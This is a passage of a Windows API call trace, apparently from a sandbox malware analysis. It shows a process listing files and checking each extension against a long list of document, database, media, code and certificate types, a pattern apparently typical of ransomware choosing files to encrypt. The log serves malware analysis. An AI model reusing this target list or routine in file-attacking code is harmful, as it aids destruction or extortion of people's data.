ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.607] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0090.607] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0090.607] lstrlenW (lpString=".1cd") returned 4 [0090.607] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0090.607] lstrlenW (lpString=".3ds") returned 4 [0090.607] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0090.607] lstrlenW (lpString=".3fr") returned 4 [0090.607] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0090.607] lstrlenW (lpString=".3g2") returned 4 [0090.607] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0090.607] lstrlenW (lpString=".3gp") returned 4 [0090.608] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0090.608] lstrlenW (lpString=".7z") returned 3 [0090.608] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0090.608] lstrlenW (lpString=".accda") returned 6 [0090.608] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0090.608] lstrlenW (lpString=".accdb") returned 6 [0090.608] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0090.608] lstrlenW (lpString=".accdc") returned 6 [0090.608] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0090.608] lstrlenW (lpString=".accde") returned 6 [0090.608] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0090.608] lstrlenW (lpString=".accdt") returned 6 [0090.608] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0090.608] lstrlenW (lpString=".accdw") returned 6 [0090.608] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0090.608] lstrlenW (lpString=".adb") returned 4 [0090.608] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0090.608] lstrlenW (lpString=".adp") returned 4 [0090.608] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0090.608] lstrlenW (lpString=".ai") returned 3 [0090.608] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0090.608] lstrlenW (lpString=".ai3") returned 4 [0090.608] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0090.608] lstrlenW (lpString=".ai4") returned 4 [0090.608] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0090.608] lstrlenW (lpString=".ai5") returned 4 [0090.609] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0090.609] lstrlenW (lpString=".ai6") returned 4 [0090.609] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0090.609] lstrlenW (lpString=".ai7") returned 4 [0090.609] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0090.609] lstrlenW (lpString=".ai8") returned 4 [0090.609] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0090.609] lstrlenW (lpString=".anim") returned 5 [0090.609] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0090.609] lstrlenW (lpString=".arw") returned 4 [0090.609] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0090.609] lstrlenW (lpString=".as") returned 3 [0090.609] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0090.609] lstrlenW (lpString=".asa") returned 4 [0090.609] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0090.609] lstrlenW (lpString=".asc") returned 4 [0090.609] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0090.609] lstrlenW (lpString=".ascx") returned 5 [0090.609] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0090.609] lstrlenW (lpString=".asm") returned 4 [0090.609] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0090.609] lstrlenW (lpString=".asmx") returned 5 [0090.609] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0090.609] lstrlenW (lpString=".asp") returned 4 [0090.609] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0090.609] lstrlenW (lpString=".aspx") returned 5 [0090.610] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0090.610] lstrlenW (lpString=".asr") returned 4 [0090.610] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0090.610] lstrlenW (lpString=".asx") returned 4 [0090.610] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0090.610] lstrlenW (lpString=".avi") returned 4 [0090.610] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0090.610] lstrlenW (lpString=".avs") returned 4 [0090.610] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0090.610] lstrlenW (lpString=".backup") returned 7 [0090.610] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0090.610] lstrlenW (lpString=".bak") returned 4 [0090.610] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0090.610] lstrlenW (lpString=".bay") returned 4 [0090.610] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0090.610] lstrlenW (lpString=".bd") returned 3 [0090.610] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0090.610] lstrlenW (lpString=".bin") returned 4 [0090.610] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0090.610] lstrlenW (lpString=".bmp") returned 4 [0090.610] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0090.610] lstrlenW (lpString=".bz2") returned 4 [0090.610] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0090.610] lstrlenW (lpString=".c") returned 2 [0090.610] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0090.610] lstrlenW (lpString=".cdr") returned 4 [0090.610] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".cer") returned 4 [0090.611] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".cf") returned 3 [0090.611] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0090.611] lstrlenW (lpString=".cfc") returned 4 [0090.611] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".cfm") returned 4 [0090.611] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".cfml") returned 5 [0090.611] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0090.611] lstrlenW (lpString=".cfu") returned 4 [0090.611] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".chm") returned 4 [0090.611] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".cin") returned 4 [0090.611] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".class") returned 6 [0090.611] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0090.611] lstrlenW (lpString=".clx") returned 4 [0090.611] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".config") returned 7 [0090.611] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0090.611] lstrlenW (lpString=".cpp") returned 4 [0090.611] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".cr2") returned 4 [0090.611] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0090.611] lstrlenW (lpString=".crt") returned 4 [0090.612] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".crw") returned 4 [0090.612] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".cs") returned 3 [0090.612] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0090.612] lstrlenW (lpString=".css") returned 4 [0090.612] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".csv") returned 4 [0090.612] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".cub") returned 4 [0090.612] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".dae") returned 4 [0090.612] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".dat") returned 4 [0090.612] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".db") returned 3 [0090.612] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0090.612] lstrlenW (lpString=".dbf") returned 4 [0090.612] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".dbx") returned 4 [0090.612] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".dc3") returned 4 [0090.612] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".dcm") returned 4 [0090.612] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0090.612] lstrlenW (lpString=".dcr") returned 4 [0090.612] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0090.613] lstrlenW (lpString=".der") returned 4 [0090.613] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0090.613] lstrlenW (lpString=".dib") returned 4 [0090.613] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0090.613] lstrlenW (lpString=".dic") returned 4 [0090.613] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0090.613] lstrlenW (lpString=".dif") returned 4 [0090.613] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0090.613] lstrlenW (lpString=".divx") returned 5 [0090.613] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0090.613] lstrlenW (lpString=".djvu") returned 5 [0090.613] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0090.613] lstrlenW (lpString=".dng") returned 4 [0090.613] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0090.613] lstrlenW (lpString=".doc") returned 4 [0090.613] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0090.613] lstrlenW (lpString=".docm") returned 5 [0090.613] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0090.613] lstrlenW (lpString=".docx") returned 5 [0090.613] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0090.613] lstrlenW (lpString=".dot") returned 4 [0090.613] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0090.613] lstrlenW (lpString=".dotm") returned 5 [0090.613] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0090.613] lstrlenW (lpString=".dotx") returned 5 [0090.613] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0090.613] lstrlenW (lpString=".dpx") returned 4 [0090.613] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".dqy") returned 4 [0090.614] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".dsn") returned 4 [0090.614] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".dt") returned 3 [0090.614] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0090.614] lstrlenW (lpString=".dtd") returned 4 [0090.614] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".dwg") returned 4 [0090.614] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".dwt") returned 4 [0090.614] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".dx") returned 3 [0090.614] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0090.614] lstrlenW (lpString=".dxf") returned 4 [0090.614] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".edml") returned 5 [0090.614] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0090.614] lstrlenW (lpString=".efd") returned 4 [0090.614] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".elf") returned 4 [0090.614] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".emf") returned 4 [0090.614] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".emz") returned 4 [0090.614] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0090.614] lstrlenW (lpString=".epf") returned 4 [0090.615] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".eps") returned 4 [0090.615] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".epsf") returned 5 [0090.615] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0090.615] lstrlenW (lpString=".epsp") returned 5 [0090.615] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0090.615] lstrlenW (lpString=".erf") returned 4 [0090.615] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".exr") returned 4 [0090.615] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".f4v") returned 4 [0090.615] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".fido") returned 5 [0090.615] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0090.615] lstrlenW (lpString=".flm") returned 4 [0090.615] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".flv") returned 4 [0090.615] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".frm") returned 4 [0090.615] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".fxg") returned 4 [0090.615] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".geo") returned 4 [0090.615] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0090.615] lstrlenW (lpString=".gif") returned 4 [0090.616] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0090.616] lstrlenW (lpString=".grs") returned 4 [0090.616] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0090.616] lstrlenW (lpString=".gz") returned 3 [0090.616] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0090.616] lstrlenW (lpString=".h") returned 2 [0090.616] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0090.616] lstrlenW (lpString=".hdr") returned 4 [0090.616] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0090.616] lstrlenW (lpString=".hpp") returned 4 [0090.616] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0090.616] lstrlenW (lpString=".hta") returned 4 [0090.616] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0090.616] lstrlenW (lpString=".htc") returned 4 [0090.616] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0090.616] lstrlenW (lpString=".htm") returned 4 [0090.616] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0090.616] lstrlenW (lpString=".html") returned 5 [0090.616] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0090.616] lstrlenW (lpString=".icb") returned 4 [0090.616] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0090.616] lstrlenW (lpString=".ics") returned 4 [0090.616] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0090.616] lstrlenW (lpString=".iff") returned 4 [0090.617] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".inc") returned 4 [0090.617] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".indd") returned 5 [0090.617] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0090.617] lstrlenW (lpString=".ini") returned 4 [0090.617] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".iqy") returned 4 [0090.617] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".j2c") returned 4 [0090.617] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".j2k") returned 4 [0090.617] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".java") returned 5 [0090.617] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0090.617] lstrlenW (lpString=".jp2") returned 4 [0090.617] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".jpc") returned 4 [0090.617] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".jpe") returned 4 [0090.617] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".jpeg") returned 5 [0090.617] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0090.617] lstrlenW (lpString=".jpf") returned 4 [0090.617] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0090.617] lstrlenW (lpString=".jpg") returned 4 [0090.618] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".jpx") returned 4 [0090.618] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".js") returned 3 [0090.618] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0090.618] lstrlenW (lpString=".jsf") returned 4 [0090.618] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".json") returned 5 [0090.618] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0090.618] lstrlenW (lpString=".jsp") returned 4 [0090.618] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".kdc") returned 4 [0090.618] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".kmz") returned 4 [0090.618] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".kwm") returned 4 [0090.618] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".lasso") returned 6 [0090.618] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0090.618] lstrlenW (lpString=".lbi") returned 4 [0090.618] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".lgf") returned 4 [0090.618] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".lgp") returned 4 [0090.618] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0090.618] lstrlenW (lpString=".log") returned 4 [0090.619] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".m1v") returned 4 [0090.619] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".m4a") returned 4 [0090.619] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".m4v") returned 4 [0090.619] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".max") returned 4 [0090.619] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".md") returned 3 [0090.619] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0090.619] lstrlenW (lpString=".mda") returned 4 [0090.619] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".mdb") returned 4 [0090.619] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".mde") returned 4 [0090.619] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".mdf") returned 4 [0090.619] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".mdw") returned 4 [0090.619] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".mef") returned 4 [0090.619] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".mft") returned 4 [0090.619] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0090.619] lstrlenW (lpString=".mfw") returned 4 [0090.619] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mht") returned 4 [0090.620] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mhtml") returned 6 [0090.620] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0090.620] lstrlenW (lpString=".mka") returned 4 [0090.620] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mkidx") returned 6 [0090.620] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0090.620] lstrlenW (lpString=".mkv") returned 4 [0090.620] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mos") returned 4 [0090.620] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mov") returned 4 [0090.620] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mp3") returned 4 [0090.620] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mp4") returned 4 [0090.620] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mpeg") returned 5 [0090.620] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0090.620] lstrlenW (lpString=".mpg") returned 4 [0090.620] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mpv") returned 4 [0090.620] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".mrw") returned 4 [0090.620] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0090.620] lstrlenW (lpString=".msg") returned 4 [0090.621] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0090.621] lstrlenW (lpString=".mxl") returned 4 [0090.621] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".myd") returned 4 [0090.621] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".myi") returned 4 [0090.621] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".nef") returned 4 [0090.621] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".nrw") returned 4 [0090.621] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".obj") returned 4 [0090.621] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".odb") returned 4 [0090.621] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".odc") returned 4 [0090.621] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".odm") returned 4 [0090.621] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".odp") returned 4 [0090.621] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".ods") returned 4 [0090.621] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".oft") returned 4 [0090.621] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0090.621] lstrlenW (lpString=".one") returned 4 [0090.621] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".onepkg") returned 7 [0090.622] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0090.622] lstrlenW (lpString=".onetoc2") returned 8 [0090.622] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0090.622] lstrlenW (lpString=".opt") returned 4 [0090.622] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".oqy") returned 4 [0090.622] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".orf") returned 4 [0090.622] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".p12") returned 4 [0090.622] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".p7b") returned 4 [0090.622] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".p7c") returned 4 [0090.622] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".pam") returned 4 [0090.622] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".pbm") returned 4 [0090.622] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".pct") returned 4 [0090.622] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".pcx") returned 4 [0090.622] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".pdd") returned 4 [0090.622] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0090.622] lstrlenW (lpString=".pdf") returned 4 [0090.623] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0090.623] lstrlenW (lpString=".pdp") returned 4 [0090.623] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0090.623] lstrlenW (lpString=".pef") returned 4 [0090.623] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0090.623] lstrlenW (lpString=".pem") returned 4 [0090.623] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0090.623] lstrlenW (lpString=".pff") returned 4 [0090.623] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0090.623] lstrlenW (lpString=".pfm") returned 4 [0090.623] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0090.623] lstrlenW (lpString=".pfx") returned 4 [0090.623] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0090.623] lstrlenW (lpString=".pgm") returned 4 [0090.623] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0090.623] lstrlenW (lpString=".php") returned 4 [0090.623] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0090.623] lstrlenW (lpString=".php3") returned 5 [0090.623] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0090.623] lstrlenW (lpString=".php4") returned 5 [0090.623] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0090.623] lstrlenW (lpString=".php5") returned 5 [0090.623] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0090.623] lstrlenW (lpString=".phtml") returned 6 [0090.623] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0090.623] lstrlenW (lpString=".pict") returned 5 [0090.623] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0090.624] lstrlenW (lpString=".pl") returned 3 [0090.624] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0090.624] lstrlenW (lpString=".pls") returned 4 [0090.624] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0090.624] lstrlenW (lpString=".pm") returned 3 [0090.624] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0090.624] lstrlenW (lpString=".png") returned 4 [0090.624] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0090.624] lstrlenW (lpString=".pnm") returned 4 [0090.624] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0090.624] lstrlenW (lpString=".pot") returned 4 [0090.624] lstrcmpiW (lpString1=".pot", 